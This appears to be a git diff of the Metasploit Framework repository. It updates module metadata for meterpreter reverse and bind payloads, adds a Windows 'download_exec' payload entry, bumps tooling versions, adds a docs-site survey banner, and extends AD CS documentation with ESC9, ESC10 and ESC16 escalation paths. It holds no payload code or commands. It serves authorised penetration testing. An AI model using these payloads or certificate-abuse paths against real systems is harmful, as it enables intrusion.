"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
|
||||
@@ -246567,7 +247328,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
|
||||
@@ -246600,7 +247361,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
|
||||
@@ -246633,7 +247394,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
|
||||
@@ -246666,7 +247427,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
|
||||
@@ -246699,7 +247460,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
|
||||
@@ -246999,7 +247760,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_http",
|
||||
@@ -247032,7 +247793,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_https",
|
||||
@@ -247065,7 +247826,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_tcp",
|
||||
@@ -247929,7 +248690,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_http",
|
||||
@@ -247962,7 +248723,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_https",
|
||||
@@ -247995,7 +248756,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_tcp",
|
||||
@@ -248026,7 +248787,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/metsvc_bind_tcp",
|
||||
@@ -248057,7 +248818,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/metsvc_reverse_tcp",
|
||||
@@ -248686,7 +249447,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_http",
|
||||
@@ -248719,7 +249480,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_https",
|
||||
@@ -248752,7 +249513,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
|
||||
@@ -249081,7 +249842,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/aarch64/meterpreter_reverse_http",
|
||||
@@ -249115,7 +249876,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/aarch64/meterpreter_reverse_https",
|
||||
@@ -249149,7 +249910,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -249880,7 +250641,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_http",
|
||||
@@ -249913,7 +250674,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_https",
|
||||
@@ -249946,7 +250707,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-05-19 12:03:14 +0000",
|
||||
"mod_time": "2025-08-07 15:28:56 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_tcp",
|
||||
@@ -250814,7 +251575,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-09 07:19:14 +0000",
|
||||
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/meterpreter_reverse_tcp",
|
||||
@@ -256803,7 +257564,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_bind_named_pipe",
|
||||
@@ -256838,7 +257599,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_bind_tcp",
|
||||
@@ -256873,7 +257634,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_http",
|
||||
@@ -256908,7 +257669,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_https",
|
||||
@@ -256943,7 +257704,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
|
||||
@@ -256978,7 +257739,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/meterpreter_reverse_tcp",
|
||||
@@ -257009,7 +257770,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/metsvc_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/metsvc_bind_tcp",
|
||||
@@ -257040,7 +257801,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/metsvc_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/metsvc_reverse_tcp",
|
||||
@@ -262311,6 +263072,37 @@
|
||||
"stage_refname": "windows/x64/custom",
|
||||
"stager_refname": "windows/x64/reverse_winhttps"
|
||||
},
|
||||
"payload_windows/x64/download_exec": {
|
||||
"name": "Windows Download Execute",
|
||||
"fullname": "payload/windows/x64/download_exec",
|
||||
"aliases": [],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Muzaffer Umut ŞAHİN <mailatmayinlutfen@gmail.com>"
|
||||
],
|
||||
"description": "Downloads and executes the file from the specified url.",
|
||||
"references": [],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-08-12 11:39:44 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/download_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/download_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false,
|
||||
"payload_type": 1,
|
||||
"staged": false
|
||||
},
|
||||
"payload_windows/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/windows/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -263038,7 +263830,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_bind_named_pipe",
|
||||
@@ -263073,7 +263865,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_bind_tcp",
|
||||
@@ -263108,7 +263900,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_reverse_http",
|
||||
@@ -263143,7 +263935,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_reverse_https",
|
||||
@@ -263178,7 +263970,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_reverse_ipv6_tcp",
|
||||
@@ -263213,7 +264005,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-20 02:57:34 +0000",
|
||||
"mod_time": "2025-04-08 10:19:25 +0000",
|
||||
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/meterpreter_reverse_tcp",
|
||||
@@ -279780,7 +280572,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-17 12:20:49 +0000",
|
||||
"mod_time": "2025-07-28 12:09:20 +0000",
|
||||
"path": "/modules/post/windows/gather/win_privs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/win_privs",
|
||||
@@ -280774,7 +281566,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-06-17 12:20:49 +0000",
|
||||
"mod_time": "2025-07-28 12:09:20 +0000",
|
||||
"path": "/modules/post/windows/manage/make_token.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/make_token",
|
||||
|
||||
+1
-2
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
|
||||
ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
|
||||
t.boolean "limit_to_network", default: false, null: false
|
||||
t.boolean "import_fingerprint", default: false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.2.5
|
||||
3.3.8
|
||||
|
||||
@@ -1,2 +1,7 @@
|
||||
<link rel="stylesheet" href="{% link assets/css/main.css %}">
|
||||
|
||||
<!-- User Engagement Survey Banner -->
|
||||
<div id="survey-banner">
|
||||
<p>📣 We value your feedback — <a href="https://docs.google.com/forms/d/e/1FAIpQLSd9fgpXmyHOYViSaS6jK_6f1Y1nVSU_eA4UH-fWKYeO5HLvww/viewform" target="_blank" rel="noopener">take our 5-minute survey</a></p>
|
||||
<button id="close-banner" aria-label="Close banner">×</button>
|
||||
</div>
|
||||
|
||||
@@ -58,3 +58,44 @@ jtd.onReady(function(ready) {
|
||||
}
|
||||
}
|
||||
});
|
||||
/*
|
||||
* Survey Banner Close Functionality
|
||||
*
|
||||
* This section handles the interactive behavior for the user engagement survey banner.
|
||||
*/
|
||||
(function() {
|
||||
function initSurveyBanner() {
|
||||
const banner = document.getElementById('survey-banner');
|
||||
const closeButton = document.getElementById('close-banner');
|
||||
const body = document.body;
|
||||
|
||||
if (!banner || !closeButton) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (localStorage.getItem('surveyBannerClosed') === 'true') {
|
||||
banner.style.display = 'none';
|
||||
body.classList.add('banner-closed');
|
||||
} else {
|
||||
if (banner.offsetParent === null) {
|
||||
body.appendChild(banner);
|
||||
}
|
||||
banner.style.display = 'flex';
|
||||
banner.style.visibility = 'visible';
|
||||
banner.style.opacity = '1';
|
||||
body.classList.remove('banner-closed');
|
||||
}
|
||||
|
||||
closeButton.addEventListener('click', function() {
|
||||
banner.style.display = 'none';
|
||||
body.classList.add('banner-closed');
|
||||
localStorage.setItem('surveyBannerClosed', 'true');
|
||||
});
|
||||
}
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', initSurveyBanner);
|
||||
} else {
|
||||
initSurveyBanner();
|
||||
}
|
||||
})();
|
||||
|
||||
@@ -1,6 +1,80 @@
|
||||
---
|
||||
---
|
||||
|
||||
/*
|
||||
* Survey Banner Styles
|
||||
*
|
||||
* This stylesheet contains all styling for the user engagement survey banner
|
||||
* that appears at the top of all pages.
|
||||
*/
|
||||
body {
|
||||
padding-top: 50px !important;
|
||||
}
|
||||
|
||||
body.banner-closed {
|
||||
padding-top: 0 !important;
|
||||
}
|
||||
|
||||
#survey-banner {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
padding: 12px 20px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
z-index: 1000;
|
||||
box-sizing: border-box;
|
||||
border-bottom: 2px solid #34495e;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
#survey-banner p {
|
||||
margin: 0;
|
||||
line-height: 1.4;
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
#survey-banner a {
|
||||
color: #3498db;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#survey-banner a:hover {
|
||||
color: #5dade2;
|
||||
}
|
||||
|
||||
#close-banner {
|
||||
background: none;
|
||||
border: none;
|
||||
color: white;
|
||||
font-size: 20px;
|
||||
cursor: pointer;
|
||||
padding: 0;
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
border-radius: 50%;
|
||||
transition: background-color 0.2s ease;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
#close-banner:hover {
|
||||
background-color: rgba(255, 255, 255, 0.1);
|
||||
}
|
||||
|
||||
#close-banner:focus {
|
||||
outline: 2px solid #3498db;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
| Download Link |File Type| SHA | PGP |
|
||||
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
|
||||
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
|
||||
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
|
||||
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
|
||||
|
||||
+561
-3
@@ -14,6 +14,11 @@ flowchart TD
|
||||
ESC8(ESC8)
|
||||
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
|
||||
end
|
||||
subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
|
||||
ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
|
||||
ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
|
||||
ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
@@ -51,6 +56,8 @@ flowchart TD
|
||||
update_template --> ESC1
|
||||
web_enrollment --> PKINIT
|
||||
web_enrollment --> SCHANNEL
|
||||
weak_certificate_mapping --> PKINIT
|
||||
weak_certificate_mapping --> SCHANNEL
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
|
||||
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
|
||||
StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
|
||||
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
- [Relaying to AD Certificate Services over
|
||||
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
|
||||
manipulation
|
||||
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
|
||||
|
||||
